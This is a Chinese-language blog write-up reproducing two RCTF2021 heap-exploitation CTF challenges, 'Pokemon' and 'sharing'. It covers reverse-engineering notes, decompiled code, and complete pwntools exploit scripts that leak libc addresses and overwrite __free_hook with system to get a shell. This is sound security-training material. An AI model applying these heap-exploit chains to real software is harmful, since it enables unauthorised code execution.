RCTF2021复现
196082 慢慢好起来

以前做pwn题比较在意的是利用方式以及利用原理,很少静下心来去逆向一个程序,也就导致我现在逆向能力相对来说很差,在遇到RCTF这种题目极其复杂的内容我可能就直接放弃了,然后比赛完就看别人wp,别人说了流程之后我就会想,这么简单我为什么当时不做呢?所以现在打算多多练题训练自己的逆向能力。

Pokemon

流程分析

main函数存在三个选项,第一就是创建chunk,创建的方式分为三种

1
2
3
4
5
6
7
8
9
10
11
12
13
struct chunk(Gold 3)0x1D0:{
888~908
400~420
}
struct chunk(Silver 2)0x210:{
666~676
200~210
}
struct chunk(Bronze 1)0x7f~0x380:{
23~23+(size/16)
chunk_addr
passwd
}

这是我推测出来的三个结构体。

第二个选项就是对chunk进行一些行为,又分为三个,第一是释放chunk但是只允许类型为1的chunk被释放,第二个是show但是有一定的限制

1
2
3
4
if ( memchr((a1 + 16), 0x7F, 8uLL)
|| memchr((a1 + 16), 0x7E, 8uLL)
|| strchr((a1 + 16), 0x55)
|| strchr((a1 + 16), 0x56) )

第三个选项就是修改内容,但是只可以修改一次并且类型1不能修改,类型2每个0x10才能修改,但是存在堆溢出,类型3可以修改0x10之后的内容大小为0x20

然后就是main当中的第三个选项,这里首先就是比较你的两个chunk的值与Mewtwo作比较

1
2
3
4
struct Mewtwo:{
99999999
6666666
}

如果小于则会直接推出,如果大于就会进入下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_3892(__int64 a1)
{
int i; // [rsp+14h] [rbp-Ch]

for ( i = 0; ; ++i )
{
if ( i > 1 )
return 0LL;
if ( *(a1 + 4 * (i + 16LL) + 8) == 1 && *(*(a1 + 8 * (i + 6LL) + 8) + 0x10LL) )
break;
}
if ( !dword_81F8 )
{
printf("Please remember the password of the evolutionary gem: ");
write(1, (*(a1 + 8 * (i + 6LL) + 8) + 0x10LL), 8uLL);
write(1, "\n", 1uLL);
dword_81F8 = 1;
}
return 1LL;
}

没有限制条件的write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ssize_t __fastcall sub_396E(__int64 a1)
{
ssize_t result; // rax
int i; // [rsp+10h] [rbp-10h]
int j; // [rsp+14h] [rbp-Ch]

for ( i = 0; i <= 1; ++i )
{
result = *(a1 + 4 * (i + 16LL) + 8);
if ( result == 1 )
{
result = *(*(a1 + 8 * (i + 6LL) + 8) + 16LL);
if ( result )
{
printf("Please give the evolution password: ");
result = read(0, *(*(a1 + 8 * (i + 6LL) + 8) + 0x18LL), 0x30uLL);
for ( j = 0; j <= 0x2F; ++j )
{
result = *(*(a1 + 8 * (i + 6LL) + 8) + 0x18LL) + j;
*result ^= *(*(a1 + 8 * (i + 6LL) + 8) + j % 8 + 0x10LL);
}
return result;
}
}
}
return result;
}

以及一个写入,这个写入是往chunk的0x18上的地址的值来写入。

然后这里的free是存在一个小东西,就是如果chunk的0x10位置和0x18位置存在值就会free掉0x18位置的值。

然后这里把游戏角色的结构体贴出来

1
2
3
4
5
6
7
8
9
struct role:{
name;
0x20 *(chunk+8)+=1000;
0x28 *(chunk)+=0;
0x30 remaining=1666;
0x34 count;
0x38 chunk;
0x48 exists/category;
}

利用分析

其实这道题就算是逆向完了也有点儿难想到利用方式,这里很烦的一点就是我们可以控制的内容太少了,但是由于题目给的read的地方都不能修改掉fd和bk那就肯定是存在overlapping,加上存在堆溢出可以很容易想到改变堆的大小,形成UAF。

然后这里需要注意的一点就是当malloc的size大于small bin中的size且小于small bin当中的size+0x10就不会进行切块

但是我觉得这应该不只是small bin当中的机制(我看源码只看了small bin的request所以其他的我也不确定),后面有时间会试试在unsorted bin和large bin中是否成立。

其实知道了这个知识点就很好利用了,因为如果按照固定思维的我们堆溢出无法修改掉size位,但是如果存在以上机制我们即可利用0x220来修改掉后面chunk的size了。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *

r = process('./Pokemon')
elf = ELF('./Pokemon')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create(category, size=0, idx=0):
r.recvuntil(b'Choice:')
r.sendline(b'1')
r.recvuntil(b'Choice:')
r.sendline(bytes(str(category), encoding='utf8'))
if category == 1:
r.recvuntil(b'You will get a Pikachu. How big do you want it to be?')
r.sendline(bytes(str(size), encoding='utf8'))
r.recvuntil(b']')
r.sendline(bytes(str(idx), encoding='utf8'))


def delete(idx, need=False):
r.recvuntil(b'Choice:')
r.sendline(b'2')
r.recvuntil(b']')
r.sendline(bytes(str(idx), encoding='utf8'))
r.recvuntil(b'Choice:')
r.sendline(b'1')
if need:
r.recvuntil(
b'This Pokemon is very valuable. Are you sure you want to release it? [Y/N]'
)
r.sendline(b'Y')


def edit(idx, content):
r.recvuntil(b'Choice:')
r.sendline(b'2')
r.recvuntil(b']')
r.sendline(bytes(str(idx), encoding='utf8'))
r.recvuntil(b'Choice:')
r.sendline(b'3')
r.recvuntil(b'You say: ')
r.send(content)


def xor(payload, key):
res = ''
for i in range(len(payload)):
res += chr(payload[i] ^ key[i % 8])
print(hex(ord(res[len(res) - 1])))
return bytes(res, encoding='ISO-8859-1')


r.recvuntil(b'Welcome to the Pokemon world, input your name: ')
r.sendline(b'196082')

for i in range(7):
create(1, 0x220)
delete(0)
create(1, 0x300)
delete(0)
create(1, 0x310)
delete(0)
create(1, 0x220)
create(1, 0x300, 1)
delete(0)
create(1, 0x300)
create(1, 0x300)
create(1, 0x300)
create(1, 0x300)
delete(0)
create(2)
edit(0, p64(0xdeadbeef) * 16 * 2 + p64(0) + p64(0xc40 + 1))
delete(1)
delete(0, True)
create(1, 0x300)
create(1, 0x300, 1)
delete(1)
r.recvuntil(b'Choice:')
r.sendline(b'3')
r.recvuntil(b']')
r.sendline(b'1')
create(1, 0x310, 1)
r.recvuntil(b'Choice:')
r.sendline(b'3')
r.recvuntil(b'gem: ')
main_arena_96 = u64(r.recv(6).ljust(8, b'\x00'))
print(hex(main_arena_96))
r.recvuntil(b'[Y/N]')
r.sendline(b'N')
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.symbols['__malloc_hook']

delete(1)
create(1, 0x300, 0)
create(3, idx=1)
edit(1,
p8(0xaa) * 8 + p64(libc_base + libc.symbols['__free_hook'] - 8) + b'\n')
r.recvuntil(b'Choice:')
r.sendline(b'3')
r.recvuntil(b'[Y/N]')
r.sendline(b'Y')
r.recvuntil(b'Please give the evolution password: ')
print(b'/bin/sh\x00' + p64(libc_base + libc.symbols['system']))
r.send(
xor(b'/bin/sh\x00' + p64(libc_base + libc.symbols['system']),
p8(0xaa) * 8))
delete(0)
# gdb.attach(r)

r.interactive()

sharing

相较于上一道题,这道题的难度可以说是十分简单,但是很烦的一点就是这道题目使用cpp写的,我对于cpp的逆向一直都不知道怎么入手,所以去问了大师傅,大师傅说对于cpp的逆向先是用ida搞清楚基本的功能,程序的特性利用动态调试来挖掘不过愚钝的我也不明白这道题到底是怎么想到create的idx相同时会free掉当前idx已存在的chunk,可能这就是经验积累吧。

这道题知道了这样会free的话就很好做了这里就只贴exp了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

elf = ELF('./sharing')
r = process('./sharing')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create(idx, size):
r.sendlineafter(b'Choice: ', b'1')
r.sendlineafter(b'Idx: ', bytes(str(idx), encoding='utf8'))
r.sendlineafter(b'Sz: ', bytes(str(size), encoding='utf8'))


def move(from_idx, to_idx):
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'From: ', bytes(str(from_idx), encoding='utf8'))
r.sendlineafter(b'To: ', bytes(str(to_idx), encoding='utf8'))


def show(idx):
r.sendlineafter(b'Choice: ', b'3')
r.sendlineafter(b'Idx: ', bytes(str(idx), encoding='utf8'))


def edit(idx, content):
r.sendlineafter(b'Choice: ', b'4')
r.sendlineafter(b'Idx: ', bytes(str(idx), encoding='utf8'))
r.sendafter(b'Content: ', content)


def hint(addr):
r.sendlineafter(b'Choice: ', bytes(str(0xdead), encoding='utf8'))
r.sendlineafter(b'Hint: ', p32(0x2F767991) + p32(0) * 3)
r.sendlineafter(b'Addr: ', bytes(str(addr), encoding='utf8'))


create(0, 0x500)
create(1, 0x500)
create(0, 0x510)
create(2, 0x500)
show(2)
main_arena_96 = u64(r.recv(6).ljust(8, b'\x00'))
print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.symbols['__malloc_hook']

create(3, 0x80)
create(4, 0x80)
create(3, 0x90)
create(4, 0x90)
create(5, 0x80)
show(5)
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr))
heap_base = heap_addr - 0x145a0

create(6, 0x10)
create(7, 0x10)
create(8, 0x10)
create(7, 0x30)
create(8, 0x30)
target = heap_base + 0x14930
for i in range(40):
hint(target)
edit(6, p64(libc_base + libc.symbols['__free_hook']))
hint(heap_base + 0x10)
hint(heap_base + 0x10)
create(9, 0x10)
create(10, 0x10)
create(11, 0x10)
edit(11, p64(libc_base + libc.symbols['system']))
edit(6, b'/bin/sh\x00')
move(7, 6)
# gdb.attach(r)

r.interactive()

剩下的题本来想复现musl了但是没有题目,然后就是其他题目我是真的要疯了,md全是cpp我属实需要下去再学习一段时间,后面复现D3的kernel。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量